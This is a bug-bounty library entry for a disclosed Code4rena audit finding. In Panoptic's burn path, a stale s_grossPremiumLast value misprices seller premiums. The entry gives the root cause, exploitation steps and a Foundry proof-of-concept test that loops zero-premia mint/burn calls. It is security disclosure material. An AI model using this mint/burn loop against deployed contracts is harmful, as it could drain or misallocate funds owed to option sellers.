# _updateSettlementPostBurn() may not correctly reduce s_grossPremiumLast[chunkKey]

In Panoptic's _updateSettlementPostBurn, s_grossPremiumLast is only recalculated when legPremia != 0, so burns with zero premia leave stale gross premium, mispricing seller premium payouts.

- Payout: Audit contest
- Severity: medium
- Program: Panoptic
- Found by: bin2chen
- Disclosed: 2024-06-24
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-04-panoptic-findings/issues/462
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-panoptic%3AM-06
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** PanopticPool.sol _updateSettlementPostBurn / s_grossPremiumLast accounting
**Root cause:** The recalculation of s_grossPremiumLast[chunkKey] is nested inside `if (LeftRightSigned.unwrap(legPremia) != 0)`, so when a seller burns with zero accrued premia the per-chunk gross premium baseline is never reduced despite totalLiquidity changing.
**Steps:**
1. Mint a short (isLong==0) position via `mintOptions()` so `_updateSettlementPostMint` raises `s_grossPremiumLast[chunkKey]`.
2. Accrue pool fees and swap so the chunk has premium state.
3. Call `burnOptions()` on the same position in a state where `legPremia == 0` (e.g. same block, no premium accrued).
4. Observe `_updateSettlementPostBurn` skips the `s_grossPremiumLast` recalculation because `legPremia == 0`, leaving the value inflated.
5. Repeat mint/burn loop; log `(grossCurrent[0] - s_grossPremiumLast.rightSlot()) * totalLiquidity` and see it monotonically shrink (last accumulated decreasing).
**How found:** Code reading of the mint vs burn settlement paths: noticed mint always recalculates s_grossPremiumLast on liquidity change, but burn only does so inside the `legPremia != 0` branch, violating the stated invariant that any totalLiquidity change requires recalculation.
**Exploitation:** Repeatedly mint and burn short option positions with zero accrued premia so s_grossPremiumLast stays inflated; the stale baseline feeds _getAvailablePremium, distorting the premium owed to sellers when positions are closed.
**Insight:** When two symmetric code paths (mint vs burn) both change a shared accumulator, diff their guard conditions: a recalculation nested inside an unrelated value check (legPremia != 0) silently skips the invariant on the zero-value path.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test mint/burn not reducing last**

```
function test_burn_not_reduce_last() public {
        swapperc = new SwapperC();
        vm.startPrank(Swapper);
        token0.mint(Swapper, type(uint128).max);
        token1.mint(Swapper, type(uint128).max);
        token0.approve(address(swapperc), type(uint128).max);
        token1.approve(address(swapperc), type(uint128).max);

        // mint OTM position
        $posIdList.push(
            TokenId.wrap(0).addPoolId(PanopticMath.getPoolId(address(uniPool))).addLeg(
                0,
                1,
                1,
                0,
                0,
                0,
                15,
                1
            )
        );
        //@info Bob same gross
        vm.startPrank(Bob);
        pp.mintOptions($posIdList, 1_000_000, 0, 0, 0);
        vm.startPrank(Swapper);
        swapperc.swapTo(uniPool, Math.getSqrtRatioAtTick(10) + 1);
        // 1998600539
        accruePoolFeesInRange(address(uniPool), (uniPool.liquidity() * 2) / 3, 1, 1);
        swapperc.swapTo(uniPool, 2 ** 96); 
        //@info end of Bob same gross

        //@info start alice , it should without change gross
        console.log("*****start alice mint/burn should not reduce last accumulated");
        for(uint256 i=0;i<10;i++){
            vm.startPrank(Alice);
            pp.mintOptions($posIdList, 250_000, type(uint64).max, 0, 0);

            vm.startPrank(Alice);
            pp.burnOptions($posIdList[0], new TokenId[](0), 0, 0);
        } 
    }
```

